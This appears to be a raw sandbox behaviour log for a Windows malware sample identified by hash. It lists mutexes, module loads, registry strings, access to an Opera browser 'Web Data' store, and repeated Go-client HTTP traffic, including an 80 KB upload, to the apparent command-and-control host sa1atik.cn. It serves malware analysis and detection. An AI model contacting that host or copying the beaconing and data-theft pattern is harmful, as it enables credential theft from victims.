Process 4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:9068:64:WilError_03" Process 4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:9068:168:WilStaging_02" Process 4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe created mutex with name "\BaseNamedObjects\WEBR_320VDP773DX2" Process spoolsv.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8464:168:WilStaging_02" Process spoolsv.exe created mutex with name "SM0:8464:168:WilStaging_02" Process spoolsv.exe created mutex with name "RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process spoolsv.exe created mutex with name "RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process spoolsv.exe created mutex with name "Local\SM0:8464:168:WilStaging_02" Process spoolsv.exe created mutex with name "SM0:8464:64:WilError_03" Process spoolsv.exe created mutex with name "Local\SM0:8464:64:WilError_03" Process spoolsv.exe created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process spoolsv.exe created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process spoolsv.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8464:168:WilStaging_02" Process spoolsv.exe created mutex with name "\BaseNamedObjects\WEBR_320VDP773DX2" Process spoolsv.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8464:64:WilError_03" Process spoolsv.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8464:64:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4032:168:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:4032:64:WilError_03" Process powershell.exe created mutex with name "Local\SM0:4032:168:WilStaging_02" Process powershell.exe created mutex with name "SM0:4032:64:WilError_03" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex"48:T1280,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]49:T1169,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000736.00000000.190948.01A80000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00000736.00000000.190948.01A80000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002956.00000001.191399.01C00000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003452.00000000.190300.00990000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00003452.00000000.190300.00990000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00003452.00000000.190300.03C00000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00003452.00000001.190332.00990000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00003452.00000001.190332.03C00000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004032.00000000.190188.00511000.00000020.mdmp "e\Software\Cla" in Source: 00000000-00004032.00000000.190188.03270000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004032.00000000.190188.03270000.00000004.mdmp "e\Software\Cla" in Source: 00000000-00004032.00000001.191512.03294000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004032.00000001.191512.03294000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004032.00000001.191512.04D60000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00004032.00000001.191512.04D60000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004032.00000001.191512.07C82000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0000034E-0000-0000-C000-000000000046}" in Source: 00000000-00004032.00000001.191512.08CF0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004032.00000001.191512.08D39000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00008464.00000000.189814.01C80000.00000004.mdmp "Registry\Machine\SOFTWARE\Policies\Microsoft\Windows\Appx" in Source: 00000000-00008464.00000000.189814.01C80000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{00020420-0000-0000-C000-000000000046}" in Source: 00000000-00008464.00000000.189814.01C80000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00008464.00000000.189814.01C80000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00008464.00000001.191735.01C80000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Web Data" in Source: 00000000-00008464.00000001.191735.01CEA000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00008464.00000002.193657.01C80000.00000004.mdmp "e\SOFTWARE\Pol" in Source: 00000000-00008464.00000003.198398.01C80000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Web Data" in Source: 00000000-00008464.00000003.198398.01CEA000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00009068.00000001.189507.01D54000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00009068.00000001.189507.01D54000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00009068.00000001.189507.01D54000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00009068.00000001.189507.01D54000.00000004.mdmp4a:T20a3,"GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:51:54 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3 cfOrigin;dur=27 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=oWlISE84ELbvwhkOU%2Fz2o89xhcHd%2FDWI1SMH%2FNP8rY1mCMCsvkCLdCAC%2BokhRR5lkSe3GNh%2FHqJMVt6Ki1nkKgHDn3%2Ba42mND0XXxqcNQzlrZHu%2BSOsAfa9oH25Z"}]} CF-RAY: a53b089ab8992e10-ARN alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C39BC292C39EC2A1C380C2A3C39EC28B20C29C....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 369 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:51:57 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5 cfOrigin;dur=23 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=iAfcRtIscLmMnrpbWz3G5%2BMMG5L%2Be6PyJV952kGtXaBWVT0JkCI4TYyE49RMCN2X%2FlPbTqc7pIxdmen%2BMwRhcKMV%2Fr2o8Mm3gx77FzuZLzyzIatSFMwe5B%2BEaG4e"}]} CF-RAY: a53b08ae5cbbc2dc-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C28BC39657C396C38AC39FC280C384C2B3C38AC2A4C392C2883AC38EC282C38CC2A1C396C285C380C2BEC39FC290C383C3B3....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:52:04 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=19 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=PtsT6ZWCZpwd6XULVdedA%2BTw5tdl6K%2B9aLSGQgPOPOb%2BRHBK9VhieYYQfP6nzRZelNp5Ik5buzvqceBCzFDf2AvM%2BV7TKuxtfhf7M0W4YIdqO377zRfe9Y55k5In"}]} CF-RAY: a53b08d4ff494be1-MXP alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C39BC292C39EC2A1C380C2A3C39EC28B20C29C....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 369 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:52:06 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5 cfOrigin;dur=28 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=oKHcNEyajVJX0JOlV5fMssYw3yU63gCwS8xf774f8h0IwlVzkHPg0evnVUXKuKxdeaRIb1QIfqIfLCiiK4VOwDRDpSlfpR3eGbD%2BJb%2FY1gH%2FNp1yGa%2FR0InG3HSD"}]} CF-RAY: a53b08e3e9755190-ARN alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C28BC39657C396C38AC39FC280C384C2B3C38AC2A4C392C2883AC38EC282C38CC2A1C396C285C380C2BEC39FC290C383C3B3....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:52:07 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=27 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=zJNG9dz9PERSA0TzQlq8HIdVShOGSlccsodpw%2FUm5aaofUDUupM5%2BTQvykLB8aKkufFQRx4Jv9UMVRcWPIyYUjsKuJy1VLGMxUrZsSZhNnC7NoexW%2Bw0cn9I06Gf"}]} CF-RAY: a53b08ea1e4380fa-ARN alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962EC396C28AC39CC2BBC38CC28FC381C2A1C389C288C29C....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 84 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:52:07 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=27 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=bocG1Xbtu37A70TGdcx33PdzWXwgYibdjP4qxfomHteps06n28ua1UABa4STpvQef5PcgH4mUWNTFkuQNmqkXhPNBbSHqZEnmycaYf5elv0SAGorQirFLyDK86YB"}]} CF-RAY: a53b08ecfdf670da-ARN alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with no response body "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 80155 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:52:27 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=60 cfOrigin;dur=30 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=If30ScAjkG38txHBpHwuPKNeq%2FzbZBxojw8oEdnhHgD1CCEOLwExngxbmtTwOMY49jkcAfh0hIbMsquwye2MIlbs33Lt1X4BuV7WBxC%2BnWRoXYzGaMvhPvMJkFFc"}]} CF-RAY: a53b0969cddeb9db-ARN alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>31....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:52:52 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=19 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SUgyeyGMR40747Ohbq0yr11T4ozV%2FwnQB4hu9Og%2FT4MOYsIBhdKyEMtBKFEWgQS5B7yL%2Fsowk39gQaMatnWWESNjvYmLrh10JcD%2BX9VQqQ34GRDprdMfjpMmX770"}]} CF-RAY: a53b0a014bc9ed17-MXP alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962FC397C282C393C2BDC38DC28FC381C2A1C389C288C29C....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Sun 01 Nov 2026 12:53:45 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=27 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ecVOVJIOiYmX3bp5n%2BzdD49OWP3htcdECpZzyVUbFCM8X713E0xEAVSo04R0hQuaHbQ3DG5VgU2a891EsBebe25pFjeyKFC1f9yd8EA7Ot6kRb5sTuQRZVdlWmmE"}]} CF-RAY: a53b0b516ed3f6eb-ARN alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962EC39CC28EC396C2BAC389C28FC381C2A1C389C288C29C.......4b:T3772,"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 75000000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "KERNEL32.DLL" at base 772c0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 76640000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "NTDLL.DLL" at base 773c0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "POWRPROF.DLL" at base 74f90000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "WS2_32.DLL" at base 75420000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "USER32.DLL" at base 76f20000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "ADVAPI32.DLL" at base 75640000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74f20000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "IPHLPAPI.DLL" at base 74ee0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "RPCRT4.DLL" at base 76b30000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 74e00000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 74da0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "USERENV.DLL" at base 74d70000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "SECUR32.DLL" at base 74d40000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "SSPICLI.DLL" at base 74d10000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "OLE32.DLL" at base 76430000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74c80000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76730000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 74c40000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75640000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 74bc0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 771c0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "OLEAUT32.DLL" at base 771c0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 74b10000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 74b00000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 74a30000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76730000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76730000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "AMSI.DLL" at base 74a10000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76730000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76730000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76730000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "KERNEL32" at base 772c0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSWOW64\9TGT5RMF.DLL" at base 749d0000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 74c00000 "4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75180000 "spoolsv.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 75000000 "spoolsv.exe" loaded module "KERNEL32.DLL" at base 772c0000 "spoolsv.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 76640000 "spoolsv.exe" loaded module "NTDLL.DLL" at base 773c0000 "spoolsv.exe" loaded module "POWRPROF.DLL" at base 74f90000 "spoolsv.exe" loaded module "WS2_32.DLL" at base 75420000 "spoolsv.exe" loaded module "USER32.DLL" at base 76f20000 "spoolsv.exe" loaded module "ADVAPI32.DLL" at base 75640000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74f20000 "spoolsv.exe" loaded module "IPHLPAPI.DLL" at base 74ee0000 "spoolsv.exe" loaded module "RPCRT4.DLL" at base 76b30000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 74e00000 "spoolsv.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 74da0000 "spoolsv.exe" loaded module "USERENV.DLL" at base 74d70000 "spoolsv.exe" loaded module "SECUR32.DLL" at base 74d40000 "spoolsv.exe" loaded module "SSPICLI.DLL" at base 74d10000 "spoolsv.exe" loaded module "OLE32.DLL" at base 76430000 "spoolsv.exe" 